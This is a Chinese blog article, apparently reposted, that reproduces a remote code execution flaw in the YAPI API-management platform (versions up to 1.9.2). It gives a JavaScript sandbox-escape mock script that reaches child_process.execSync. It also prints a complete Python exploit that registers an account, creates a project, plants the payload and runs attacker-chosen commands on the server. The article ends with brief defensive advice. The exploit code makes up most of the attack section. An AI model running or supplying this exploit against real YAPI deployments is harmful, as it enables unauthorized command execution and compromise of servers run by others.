YAPI接口管理平台RCE复现-附exp

2024-04-22 19:38

本文主要是介绍YAPI接口管理平台RCE复现-附exp,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

  • 漏洞简介
  • 影响版本
  • 漏洞复现
    • 手工验证
    • EXP验证
  • 漏洞防御

漏洞简介

YAPI是由去哪儿网移动架构组开发的可视化接口管理工具,是一个可本地部署的、打通前后端及QA的接口管理平台。
漏洞存在于YAPI的mock脚本服务上,是由于mock脚本自定义服务未对JS脚本的命令过滤,用户可以添加任何请求处理脚本,攻击者可利用该漏洞在受影响的服务器上执行任意JS代码。


影响版本

YAPI <= 1.9.2


漏洞复现

手工验证

1、注册账号
在这里插入图片描述
在这里插入图片描述


2、登录后新建项目
在这里插入图片描述在这里插入图片描述


3、设置全局mock脚本及接口
在这里插入图片描述
JS代码如下:

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami && ls").toString()

4、添加接口
在这里插入图片描述在这里插入图片描述


5、访问mock接口地址,命令执行成功
在这里插入图片描述


EXP验证

python yapi.py -u x.x.x.x -e whoami

在这里插入图片描述代码如下:

# -*- coding: utf-8 -*-import jsonimport requests
import argparsegroup_id = ''
project_id = ''
catid = ''
flag=1def reg(gurl):global flagurl = gurl + "/api/user/reg"header = {'Content-Type': 'application/json;charset=utf-8'}data = '{"email":"zxcc@zxcc.com","password":"zxcczxcc","username":"zxcc"}'rego = requests.post(url=url, headers=header, data=data)# print(rego.text)if str(400) in rego.text:flag = 0session = requests.Session()def login(gurl):url = gurl + "/api/user/login"header = {'Content-Type': 'application/json;charset=utf-8'}data = '{"email":"zxcc@zxcc.com","password":"zxcczxcc"}'logingo = session.post(url=url, headers=header, data=data)# print(logingo.text)# print(session.__dict__)def add(gurl):global group_id, project_id, catidheader = {'Content-Type': 'application/json;charset=utf-8'}turl = gurl + "/api/group/get_mygroup"t1 = session.get(url=turl)group_id = json.loads(t1.text)['data']['_id']url1 = gurl + "/api/project/add"data1 = '{"name":"1","basepath":"/1","group_id":"' + str(group_id) + '","icon":"code-o","color":"green","project_type":"private"}'add1 = session.post(url=url1, headers=header, data=data1)turl2 = gurl + "/api/project/list?group_id=" + str(group_id) + "&page=1&limit=10"t2 = session.get(url=turl2)project_id = json.loads(t2.text)['data']['list'][0]['_id']turl3 = gurl + "/api/interface/list_menu?project_id=" + str(project_id) + ""t3 = session.get(url=turl3)catid = json.loads(t3.text)['data'][0]['_id']url2 = gurl + "/api/interface/add"data2 = '{"method":"GET","catid":"' + str(catid) + '","title":"1","path":"/1","project_id":' + str(project_id) + '}'# print(data1)add2 = session.post(url=url2, headers=header, data=data2)# print(add1.text)# print(add2.text)def run(gurl, exec):turl = gurl + "/api/interface/list?page=1&limit=20&project_id=" + str(project_id) + ""t1 = session.get(url=turl)interface_id = json.loads(t1.text)['data']['list'][0]['_id']url = gurl + "/api/plugin/advmock/save"data = '''{"project_id":"''' + str(project_id) + '''","interface_id":"''' + str(interface_id) + '''","mock_script":"const sandbox = this\\nconst ObjectConstructor = this.constructor\\nconst FunctionConstructor = ObjectConstructor.constructor\\nconst myfun = FunctionConstructor('return process')\\nconst process = myfun()\\nmockJson = process.mainModule.require(\\"child_process\\").execSync(\\"''' + exec + '''\\").toString()","enable":true}'''header = {'Content-Type': 'application/json;charset=utf-8'}cmd = session.post(url=url, data=data, headers=header)# print(cmd.text)result = requests.get(url=gurl + "/mock/" + str(project_id) + "/1/1")print(result.text)if __name__ == '__main__':parser = argparse.ArgumentParser(description="Yapi RCE , need register mode open")parser.add_argument('-u', '--url')parser.add_argument('-e', '--exec', default='whoami & ifconfig || ipconfig')args = parser.parse_args()gurl = str(args.url).rstrip('/')exec = args.execif args.url :# print(gurl)reg(gurl)if flag:login(gurl)add(gurl)run(gurl, exec)else:print('Not support register !')else:print('Need The Target,please add -h / --help')# print(group_id, project_id, catid, '123')

漏洞防御

1、更改Yapi运行端口

2、使用Nginx对Yapi进行反向代理

3、安全组只开放Nginx端口,你可以在Nginx限制IP白名单。

4、关闭Yapi注册

5、关闭Yapi Mock


参考文章:
感谢Azeng师傅提供的EXP
参考微信公众号:星期五实验室

这篇关于YAPI接口管理平台RCE复现-附exp的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/926684

相关文章

在macOS上安装jenv管理JDK版本的详细步骤

《在macOS上安装jenv管理JDK版本的详细步骤》jEnv是一个命令行工具,正如它的官网所宣称的那样,它是来让你忘记怎么配置JAVA_HOME环境变量的神队友,:本文主要介绍在macOS上安装... 目录前言安装 jenv添加 JDK 版本到 jenv切换 JDK 版本总结前言China编程在开发 Java

Spring Boot Actuator应用监控与管理的详细步骤

《SpringBootActuator应用监控与管理的详细步骤》SpringBootActuator是SpringBoot的监控工具,提供健康检查、性能指标、日志管理等核心功能,支持自定义和扩展端... 目录一、 Spring Boot Actuator 概述二、 集成 Spring Boot Actuat

MySQL多实例管理如何在一台主机上运行多个mysql

《MySQL多实例管理如何在一台主机上运行多个mysql》文章详解了在Linux主机上通过二进制方式安装MySQL多实例的步骤,涵盖端口配置、数据目录准备、初始化与启动流程,以及排错方法,适用于构建读... 目录一、什么是mysql多实例二、二进制方式安装MySQL1.获取二进制代码包2.安装基础依赖3.清

Linux之platform平台设备驱动详解

《Linux之platform平台设备驱动详解》Linux设备驱动模型中,Platform总线作为虚拟总线统一管理无物理总线依赖的嵌入式设备,通过platform_driver和platform_de... 目录platform驱动注册platform设备注册设备树Platform驱动和设备的关系总结在 l

Spring Boot集成Druid实现数据源管理与监控的详细步骤

《SpringBoot集成Druid实现数据源管理与监控的详细步骤》本文介绍如何在SpringBoot项目中集成Druid数据库连接池,包括环境搭建、Maven依赖配置、SpringBoot配置文件... 目录1. 引言1.1 环境准备1.2 Druid介绍2. 配置Druid连接池3. 查看Druid监控

Knife4j+Axios+Redis前后端分离架构下的 API 管理与会话方案(最新推荐)

《Knife4j+Axios+Redis前后端分离架构下的API管理与会话方案(最新推荐)》本文主要介绍了Swagger与Knife4j的配置要点、前后端对接方法以及分布式Session实现原理,... 目录一、Swagger 与 Knife4j 的深度理解及配置要点Knife4j 配置关键要点1.Spri

SpringBoot+Redis防止接口重复提交问题

《SpringBoot+Redis防止接口重复提交问题》:本文主要介绍SpringBoot+Redis防止接口重复提交问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不... 目录前言实现思路代码示例测试总结前言在项目的使用使用过程中,经常会出现某些操作在短时间内频繁提交。例

springboot下载接口限速功能实现

《springboot下载接口限速功能实现》通过Redis统计并发数动态调整每个用户带宽,核心逻辑为每秒读取并发送限定数据量,防止单用户占用过多资源,确保整体下载均衡且高效,本文给大家介绍spring... 目录 一、整体目标 二、涉及的主要类/方法✅ 三、核心流程图解(简化) 四、关键代码详解1️⃣ 设置

spring中的ImportSelector接口示例详解

《spring中的ImportSelector接口示例详解》Spring的ImportSelector接口用于动态选择配置类,实现条件化和模块化配置,关键方法selectImports根据注解信息返回... 目录一、核心作用二、关键方法三、扩展功能四、使用示例五、工作原理六、应用场景七、自定义实现Impor

使用jenv工具管理多个JDK版本的方法步骤

《使用jenv工具管理多个JDK版本的方法步骤》jenv是一个开源的Java环境管理工具,旨在帮助开发者在同一台机器上轻松管理和切换多个Java版本,:本文主要介绍使用jenv工具管理多个JD... 目录一、jenv到底是干啥的?二、jenv的核心功能(一)管理多个Java版本(二)支持插件扩展(三)环境隔